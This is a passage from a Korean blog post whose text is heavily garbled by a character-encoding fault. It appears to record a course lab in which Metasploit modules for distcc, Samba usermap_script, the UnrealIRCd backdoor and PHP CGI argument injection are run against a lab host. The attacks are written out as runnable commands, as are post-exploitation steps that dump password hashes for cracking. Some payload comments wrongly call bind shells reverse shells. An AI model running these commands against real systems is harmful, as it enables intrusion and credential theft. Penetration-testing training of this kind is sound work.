! ์ด ํฌ์คํธ์ ๋ด์ฉ์ 2019๋ ์ ๊ณต ๊ฐ์์์ ๋ค๋ฃฌ ๋ฆฌ๋ ์ค ๋ณด์ ์ค์ต์ ๊ธฐ๋ก์ฉ์ด๋ฉฐ, ์ด๋ ํ์ต ๋ชฉ์ ์ผ๋ก๋ง ์ฌ์ฉ๋์ด์ผ ํฉ๋๋ค.
! ์ด๋ ํ ๊ฒฝ์ฐ์๋ ์ด๋ฌํ ๊ธฐ์ ์ ์ ์ฉํ๊ฑฐ๋ ๋ถ๋ฒ์ ์ธ ํ๋์ ์ฌ์ฉํด์๋ ์ ๋ฉ๋๋ค.
! ๋ชจ์ ํดํน๊ณผ ๊ด๋ จ๋ ์ค์ต์ ํฉ๋ฒ์ ์ธ ํ๊ฒฝ์์๋ง ์ํ๋์ด์ผ ํ๋ฉฐ, ๋ฌด๋จ์ผ๋ก ๋ค๋ฅธ ์ฌ๋์ ์์คํ ์ ์ ๊ทผํ๋ ๋ฑ์ ํ์๋ ๋ฒ์ ์ธ ๋ฌธ์ ๋ก ์ด์ด์ง ์ ์์ต๋๋ค. ์ด๋ฌํ ๊ธฐ์ ์ ์ฌ์ฉํ ๋์๋ ํญ์ ์ค๋ฆฌ์ ์ธ ์ฑ ์์ ๊ฐ๊ณ ํ๋ํด์ผ ํฉ๋๋ค.
1๏ธโฃ ๋์ ์์คํ ์ ๋ณด ์์ง
db_nmap -sT -sV -O 192.168.255.148
2๏ธโฃ DistCC ์๊ฒฉ ์ฝ๋ ์คํ ์ทจ์ฝ์ ์ ์ด์ฉํ ์นจํฌ
๐น 1. Metasploit ์คํ ํ ์ต์คํ๋ก์ ๋ชจ๋ ์ค์
msfconsole
use exploit/unix/misc/distcc_exec
๐ Metasploit์ ``distcc_exec`` ๋ชจ๋์ ์ด์ฉํด ์ทจ์ฝํ ๋ฆฌ๋ ์ค ์์คํ ์ ํดํน
- DistCC = ์ฌ๋ฌ ๋์ ์ปดํจํฐ์์ ์ฝ๋๋ฅผ ๋น ๋ฅด๊ฒ ์ปดํ์ผํ๊ธฐ ์ํ ์์คํ
- ๋ณด์ ์ธ์ฆ ์์ด ์๊ฒฉ ๋ช ๋ น์ ์คํํ ์ ์๋ ์ทจ์ฝ์ ์ด ์์ด ํดํน์ ์ ์ฉ๋ ์ ์์
โ DistCC ํน์ง
- ๊ธฐ๋ณธ์ ์ผ๋ก TCP ``3632``๋ฒ ํฌํธ์์ ์คํ
- ์ธ์ฆ ์์ด ์ธ๋ถ ๋ช ๋ น ์คํ ๊ฐ๋ฅ
- ๋๋ถ๋ถ์ ๋ฐฐํฌํ์์ root ๊ถํ์ด ์๋ ์ผ๋ฐ ์ฌ์ฉ์ ๊ถํ์ผ๋ก ์คํ๋จ
๐น 2. ํ์ ์ต์ ์ค์
set PAYLOAD cmd/unix/bind_ruby # bind_ruby ๊ธฐ๋ฐ ๋ฆฌ๋ฒ์ค ์
ธ ์ฌ์ฉ
set RHOST 192.168.255.148 # ๋์ IP ์ค์
- ๊ณต๊ฒฉ ๋์์ด ๊ณต๊ฒฉ์์ IP(``LHOST``)๋ก ์ฐ๊ฒฐ์ ์๋ํ๋๋ก ์ค์
- ``cmd/unix/reverse_netcat`` → ๋์ ์์คํ ์ Netcat์ ์ด์ฉํด ๊ณต๊ฒฉ์์๊ฒ ์ฐ๊ฒฐ
๐น 3. ๊ณต๊ฒฉ ์คํ
exploit
- ๊ณต๊ฒฉ ์คํ ํ ๊ณต๊ฒฉ์์ 4444๋ฒ ํฌํธ๋ก ์ฐ๊ฒฐ ์ฑ๊ณต
- ์๊ฒฉ ๋์์์ ์ ธ์ด ์คํ๋จ
๐น 4. CMD ๊ธฐ๋ฐ ์ ธ์ Meterpreter๋ก ์ ๊ทธ๋ ์ด๋
Metaslpoit์ ๊ธฐ๋ณธ ``cmd/unix/reverse_netcat`` ํ์ด๋ก๋๋ ๊ธฐ๋ฅ์ด ์ ํ์ ์ด๋ฏ๋ก,
CMD ๊ธฐ๋ฐ ์ ธ์ ๋ฐฑ๊ทธ๋ผ์ด๋๋ก ์ ํํ ํ Meterpreter๋ก ๋ณํํ์ฌ ์งํ
๐ ํ์ฌ ์ ธ์ ๋ฐฑ๊ทธ๋ผ์ด๋๋ก ๋ณด๋ด๊ธฐ
- ``distcc_exec`` ์ต์คํ๋ก์์ผ๋ก ํ๋ํ CMD ์ ธ์ ๋ฐฑ๊ทธ๋ผ์ด๋๋ก ์ด๋
- ``Ctrl + Z`` ํค๋ฅผ ๋๋ฌ ํ์ฌ ์ธ์ ์ ๋ฐฑ๊ทธ๋ผ์ด๋๋ก ์ ํ
Ctrl + Z
- Metasploit ํ๋กฌํํธ์์ ๋ฐฑ๊ทธ๋ผ์ด๋๋ก ์ ํ๋๋์ง ํ์ธ
sessions -l
- ํ์ฌ ์ธ์ ID ํ์ธ
๐ Meterpreter ๋ณํ
- ``Shell_to_merterpreter`` ๋ชจ๋ ์คํ
- ํ์ฌ ํ์ฑํ๋ CMD ์ ธ์ Meterpreter๋ก ๋ณํํ๋ ๋ชจ๋ ์ฌ์ฉ
use post/multi/manage/shell_to_meterpreter
- ์ต์ ์ค์ (set ๋ช ๋ น์ด)
- ``SESSION 1`` → ๊ธฐ์กด CMD ์ ธ์ ๋ณํํ ์ธ์ ์ ํ
set SESSION 1
exploit
- exploit ํ Meterpreter ์ธ์ ์ด ์ฑ๊ณต์ ์ผ๋ก ์ด๋ ธ์
- ํ์ฌ ํ์ฑํ๋ Meterpreter ์ธ์ ํ์ธ
sessions
- Meterpreter ์ธ์ (ID 2๋ฒ)์ด ์ฑ๊ณต์ ์ผ๋ก ์ด๋ฆผ
๐น 5. Meterpreter ์ธ์ ์ผ๋ก ์ ํ
- Meterpreter ์คํ
sessions 2
3๏ธโฃ ์ผ๋ฐ ์๋น์ค์ ๊ตฌ์กฐ์ ์ทจ์ฝ์ ์ ์ด์ฉํ ์นจํฌ
Samba๋ Linux/Unix ํ๊ฒฝ์์ Windows์ ํ์ผ ๊ณต์ ๋ฅผ ์ ๊ณตํ๋ ์๋น์ค๋ค.
์ด ์๋น์ค์์ ๋ฐ์ํ๋ ์ทจ์ฝ์ ์ ์ ์ฉํ๋ฉด ์๊ฒฉ ์ฝ๋ ์คํ(RCE)์ ํตํด ์์คํ ์ ์ฅ์ ๊ฐ๋ฅํ๋ค.
๐น 1. ์ต์คํ๋ก์ ๋ชจ๋ ์ค์
use exploit/multi/samba/usermap_script
๐น 2. ํ์ ์ต์ ์ค์
set PAYLOAD cmd/unix/bind_ruby # bind_ruby ๊ธฐ๋ฐ ๋ฆฌ๋ฒ์ค ์
ธ ์ฌ์ฉ
set RHOST 192.168.255.148 # ๋์ IP ์ค์
๐น 3. ๊ณต๊ฒฉ ์คํ
exploit
- ๊ณต๊ฒฉ ์คํ ํ ๊ณต๊ฒฉ์์ 4444๋ฒ ํฌํธ๋ก ์ฐ๊ฒฐ ์ฑ๊ณต
- ์๊ฒฉ ๋์์์ ์ ธ์ด ์คํ๋จ
๐น 4. Meterpreter ์ธ์ ์ผ๋ก ์ ํ
use multi/manage/shell_to_merterprter
set session 2
exploit
sessions 3
๐น 5. ๋คํธ์ํฌ ์ ๋ณด ์์ง(enum_network)
``enum_network``๋ ์นจํฌํ ์์คํ ์ ๋คํธ์ํฌ ์ธํฐํ์ด์ค, ์ฐ๊ฒฐ๋ ๋คํธ์ํฌ, ๋ผ์ฐํ ํ ์ด๋ธ ์ ๋ณด๋ฅผ ์์งํ๋ ๋ชจ๋์ด๋ค.
์ด๋ฅผ ํตํด ๋ด๋ถ ๋คํธ์ํฌ ๊ตฌ์กฐ๋ฅผ ํ์ ํ๊ณ ์ถ๊ฐ์ ์ธ ๊ณต๊ฒฉ ๋์์ ์ฐพ์ ์ ์๋ค.
- ์คํ ๋ฐฉ๋ฒ
run post/linux/gather/enum_network
- ์คํ ๊ฒฐ๊ณผ
- ๋์ ์์คํ ์ IP ์ฃผ์, MAC ์ฃผ์, ๊ฒ์ดํธ์จ์ด ์ ๋ณด ํ์ธ
- ํ์ฌ ํ์ฑํ๋ ๋คํธ์ํฌ ์ฐ๊ฒฐ(ESTABLISHED ์ํ์ ์ธ์ ํฌํจ) ํ์ธ
- ๋ผ์ฐํ ํ ์ด๋ธ ํ์ธ → ์ถ๊ฐ์ ์ธ ๋คํธ์ํฌ ํ์ ๊ฐ๋ฅ
๐น 6. ๋ณด์ ์ค์ ์ ๋ณด ์์ง (enum_protections)
``enum_protections``์ ๋์ ์์คํ ์ ๋ณด์ ๋ฉ์ปค๋์ฆ(ASLR, SELinux, ๋ฐฉํ๋ฒฝ ์ค์ ๋ฑ)์ ๋ถ์ํ๋ ๊ธฐ๋ฅ์ ํ๋ค
์ด๋ฅผ ํตํด ๊ถํ ์์น ๊ณต๊ฒฉ ๊ฐ๋ฅ์ฑ์ ํ๊ฐํ ์ ์๋ค.
- ์คํ ๋ฐฉ๋ฒ
run post/linux/gather/enum_protections
- ์คํ ๊ฒฐ๊ณผ
- ASLR(๋ฉ๋ชจ๋ฆฌ ๋๋คํ) ํ์ฑ ์ฌ๋ถ ํ์ธ → ๋ฉ๋ชจ๋ฆฌ ์ต์คํ๋ก์ ๊ฐ๋ฅ์ฑ ๋ถ์
๐น 7. hashdump ๋ชจ๋ ์ฌ์ฉ
``hashdump``๋ Linux ์์คํ ์ ์ฌ์ฉ์ ๊ณ์ ์ ๋ณด ๋ฐ ์ํธ ํด์๋ฅผ ์ถ์ถํ๋ ๋ชจ๋์ด๋ค.
์ถ์ถํ ํด์๋ ํจ์ค์๋ ํฌ๋ํน ๋๊ตฌ(John the Ripper, Hashcat)๋ก ๋ถ์ํ ์ ์๋ค.
- ์คํ ๋ฐฉ๋ฒ
run post/linux/gather/hashdump
- ์คํ ๊ฒฐ๊ณผ
- Linux ์ฌ์ฉ์ ๊ณ์ ๊ณผ ์ํธ ํด์(SHA-512) ์ถ์ถ ์ฑ๊ณต!
- Hashcat์ด๋ John the Ripper๋ฅผ ์ฌ์ฉํด ํฌ๋ํน ๊ฐ๋ฅ
4๏ธโฃ UnrealIRCd ๋ฐฑ๋์ด๋ฅผ ์ด์ฉํ ์นจํฌ
UnrealIRCd 3.2.8.1 ๋ฒ์ ์๋ ๊ธฐ๋ณธ์ ์ผ๋ก ๋ฐฑ๋์ด๊ฐ ๋ด์ฅ๋์ด ์์ด์, ์ด๋ฅผ ์ด์ฉํด ์๊ฒฉ ์ฝ๋ ์คํ์ ํ ์ ์๋ค.
Metasploit์ ์๋ ``unreal_ircd_3281_backdoor`` ๋ชจ๋์ ์ฌ์ฉํ๋ฉด ์ฝ๊ฒ ๊ณต๊ฒฉํ ์ ์๋ค.
๐น 1. ์ต์คํ๋ก์ ๋ชจ๋ ์ค์
use exploit/unix/irc/unreal_ircd_3281_backdoor
๐น 2. ํ์ ์ต์ ์ค์
set PAYLOAD cmd/unix/bind_ruby # bind_ruby ๊ธฐ๋ฐ ๋ฆฌ๋ฒ์ค ์
ธ ์ฌ์ฉ
set RHOSTS 192.168.255.148 # ๋์ IP ์ค์
๐น 3. ๊ณต๊ฒฉ ์คํ
exploit
- ๊ณต๊ฒฉ ์คํ ํ ๊ณต๊ฒฉ์์ 4444๋ฒ ํฌํธ๋ก ์ฐ๊ฒฐ ์ฑ๊ณต
- ์๊ฒฉ ๋์์์ ์ ธ์ด ์คํ๋จ
๐น 4. ์น ์ ํ๋ฆฌ์ผ์ด์ ์ ๋ณด ์ถ์ถ (WhatWeb)
``whatweb``์ ์น ์ ํ๋ฆฌ์ผ์ด์ ์ ์ ๋ณด๋ฅผ ์๋์ผ๋ก ์ถ์ถํ๋ ๋๊ตฌ๋ก, ์น ์๋ฒ๊ฐ ์ฌ์ฉํ๋ ์ํํธ์จ์ด์ ๊ด๋ จ๋ ์ค์ํ ์ ๋ณด๋ฅผ ํ์ธํ ์ ์๋ค.
์ด ๋๊ตฌ๋ ์๋ฒ์์ ์ฌ์ฉํ ์น ์๋ฒ ์ํํธ์จ์ด, CMS, ํ๋ฌ๊ทธ์ธ, ํ๋ ์์ํฌ ๋ฑ์ ์๋ณ ํ ์ ์๋ค.
์ด๋ฅผ ํตํด ์๋ฒ์ ํ์ฌ๋ ์น ์ ํ๋ฆฌ์ผ์ด์ ๋ฒ์ , ์ทจ์ฝ์ , ๊ณต๊ฒฉ ๋์ ๋ฑ์ ํ์ ํ ์ ์๋ค.
- ์คํ ๋ฐฉ๋ฒ
whatweb http://192.168.255.148
- ์คํ ๊ฒฐ๊ณผ
- ์น ์๋ฒ: Apache 2.2.8 (Ubuntu)
- PHP ๋ฒ์ : PHP 5.2.4-2 ubuntu5.10 → ํ์ ๊ณต๊ฒฉ 4๏ธโฃ
4๏ธโฃ php 5.4.2 ๋ฏธ๋ง ๋ฒ์ ์ ์ทจ์ฝ์ ์ ์ด์ฉํ ์นจํฌ
Whatweb์ ํตํด ํ์ธ๋ PHP 5.2.4 ๋ฒ์ ์ ์ทจ์ฝ์ ์ ์ด์ฉํ ์นจํฌ๋ฐฉ๋ฒ์ด๋ค.
``php_cgi_arg_injection`` ๋ชจ๋์ PHP CGI์์ ๋ฐ์ํ ์ ์๋ Argument Injection์ ์ ์ฉํ๋ ๊ณต๊ฒฉ์ ์ํํ๋ค.
์ด ์ทจ์ฝ์ ์ PHP CGI๊ฐ ์ฌ์ฉ์ ์ ๋ ฅ์ ์ ๋๋ก ๊ฒ์ฆํ์ง ์๊ฑฐ๋ ํํฐ๋งํ์ง ์์์ ๋ฐ์ํ๋ค.
์ด๋ ๊ณต๊ฒฉ์๋ ์ด๋ฅผ ์ด์ฉํด ์๊ฒฉ ์ฝ๋ ์คํ์ ์ ๋ํ ์์๋ค.
๐น 1. ์ต์คํ๋ก์ ๋ชจ๋ ์ค์
use exploit/multi/http/php_cgi_arg_injection
๐น 2. ํ์ ์ต์ ์ค์
set PAYLOAD php/bind_php # Meterpreter ๋ฆฌ๋ฒ์ค ์
ธ ์ค์
set RHOST 192.168.255.148 # ๋์ IP ์ค์
๐น 3. ๊ณต๊ฒฉ ์คํ
exploit
- ๊ณต๊ฒฉ ์คํ ํ ๊ณต๊ฒฉ์์ 4444๋ฒ ํฌํธ๋ก ์ฐ๊ฒฐ ์ฑ๊ณต
- ์๊ฒฉ ๋์์์ ์ ธ์ด ์คํ๋จ
'๐จ ๋ณด์ ์ค๋ฌด > ๋ชจ์ ํดํน' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[๋ชจ์ํดํน] setoolkit์ ์ด์ฉํ ํผ์ฑ์ฌ์ดํธ ๋ง๋ค๊ธฐ (0) | 2025.02.11 |
---|---|
[๋ชจ์ํดํน] Windows 2000 ๊ธฐ๋ฐ์ ์ด์์ฒด์ ์นจํฌํ๊ธฐ (0) | 2025.02.10 |
[๋ชจ์ ํดํน] Metasploitable์ ์ด์ฉํ ๋ฌด์ฐจ๋ณ ๋์ ๊ณต๊ฒฉ (0) | 2024.06.03 |
[๋ชจ์ ํดํน] ๋ฒํผ ์ค๋ฒํ๋ก์ฐ ๊ณต๊ฒฉ ์ค์ต (0) | 2024.06.03 |
[๋ชจ์ ํดํน] ์๋์ฐ8 ์ฌ๋ถํ ์ ์ ์ฑ์ฝ๋ ์คํ (0) | 2024.03.05 |